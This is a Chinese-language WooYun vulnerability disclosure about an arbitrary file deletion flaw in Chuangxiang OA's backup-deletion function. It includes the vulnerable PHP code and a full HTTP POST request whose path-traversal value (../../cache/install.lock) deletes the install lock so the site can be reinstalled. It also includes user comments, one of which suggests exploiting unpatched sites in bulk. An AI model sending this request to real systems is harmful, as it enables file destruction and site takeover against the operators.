当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061293

漏洞标题：创想oa 任意文件删除漏洞（导致可重装网站)

相关厂商：天生创想

漏洞作者： 路人甲

提交时间：2014-05-18 17:45

修复时间：2014-08-16 17:46

公开时间：2014-08-16 17:46

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-18： 细节已通知厂商并且等待厂商处理中
2014-05-23： 厂商已经确认，细节仅向厂商公开
2014-05-26： 细节向第三方安全合作伙伴开放
2014-07-17： 细节向核心白帽子及相关领域专家公开
2014-07-27： 细节向普通白帽子公开
2014-08-06： 细节向实习白帽子公开
2014-08-16： 细节向公众公开

简要描述：

详细说明：

0x001 简介

{{Z]UOA%LYZR34O~@B%RNQW.jpg

北京天生创想信息技术有限公司自公司成立以来，天生创想始终致力于为中国企业特别是成长型企业提供专业信息化服务，在国内率先开创了以运营模式实现企业信 息化的先河。基于对成长型企业群体的特点和信息化需求的深刻理解，天生创想坚定地选择了“互联网应用”模式作为帮助企业实现信息化管理的手段。遵循这一理 念，天生创想已成功为无数企业客户提供了全方位、多层面的信息化解决方案。多年来的成功实践充分证明了“互联网应用”是最适合成长型企业的信息化实现模式。
0x002 客户群体 客户群体包括：政府、银行、企业、教育、公安、能源 等等单位

8{RGY`U{LP@N2GR%4CKW7TG.jpg


0x003 漏洞分析
在include/dbbackup.class.php中

* 删除备份文件
		 *
		 * @access public
		 * @parameter string $delfn	备份文件名
		 * @return void
		 */
		public function del($delfn){
			//删除多个备份文件
			//var_dump($delfn);exit();
			if(is_array($delfn)){
				foreach($delfn as $fn){
					if(!unlink($this->data_dir.$fn)){ return false;}
				}
				return true;
			}
			//删除单个备份文件
			
			return unlink($this->data_dir.$delfn);
		}


由于该处$delfn 直接从客户端传过来，未做任何过滤。
如该动作即可将data\db\目录下的sql备份文件删除。。。

JQEMID}_VR%@3]A28%AUK[6.jpg


我们可以可以通过构造好的路径，删除安装锁定文件install.lock
安装锁定文件在cache目录当中
在获取变量过程当中，又未对..\ 或者 ../这样的跳转字符做任何判断，导致攻击者可以采用此类字符跳转到其他目录，删除任意文件。。
0x04 exp复现

POST /oa/admin.php?ac=data&fileurl=mana&do=update HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/oa/admin.php?ac=data&fileurl=mana&do=data_import
Cookie: my_expand_3=3%2C4%2C; Hm_lvt_569322d6eae0bb12f168b4701cc26f09=1400129833,1400345987; PO_auth=MQkwN2MwZjQ5MmJiN2NmZTg4NTFiYWQ2MTBkZDQ5MzAxNA%3D%3D
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
choice%5B%5D=../../cache/install.lock&do=%E5%88%A0+%E9%99%A4


这样既可删除安装锁定文件。。。

E_T{6T}I(9[TQ[)}9I~3@6S.jpg

漏洞证明：

POST /oa/admin.php?ac=data&fileurl=mana&do=update HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/oa/admin.php?ac=data&fileurl=mana&do=data_import
Cookie: my_expand_3=3%2C4%2C; Hm_lvt_569322d6eae0bb12f168b4701cc26f09=1400129833,1400345987; PO_auth=MQkwN2MwZjQ5MmJiN2NmZTg4NTFiYWQ2MTBkZDQ5MzAxNA%3D%3D
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
choice%5B%5D=../../cache/install.lock&do=%E5%88%A0+%E9%99%A4


这样既可删除安装锁定文件。。。

E_T{6T}I(9[TQ[)}9I~3@6S.jpg

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-05-23 14:48

厂商回复：

CNVD未在实例上确认所述情况，尝试通过公开联系渠道联系软件生产厂商，北京天生创想信息技术有限公司，联系人：****，对方回复称不需要修复。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-05-23 15:12 | char ( 路人 | Rank:13 漏洞数:3 | 中国平安，不只保险这么简单。)

    好牛逼的厂商。。。

  2. 2014-05-23 15:14 | saline ( 普通白帽子 | Rank:231 漏洞数:32 | Focus On Web Secur1ty)

    联系人：****，对方回复称不需要修复。

  3. 2014-06-12 15:39 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    对方回复称不需要修复，批量搞吧

  4. 2014-08-16 18:11 | 从容 ( 普通白帽子 | Rank:221 漏洞数:75 | Enjoy Hacking Just Because It's Fun :) ...)

    还以为是CSRF

  5. 2014-08-16 18:34 | DloveJ ( 普通白帽子 | Rank:1107 漏洞数:200 | <a href=javascrip:alert('xss')>s</a> 点...)

    不需要修复，估计又偷偷修复了吧。

  6. 2014-08-20 10:55 | D_in ( 普通白帽子 | Rank:413 漏洞数:62 | 到我嘴里来)

    好牛逼的厂商。。。。。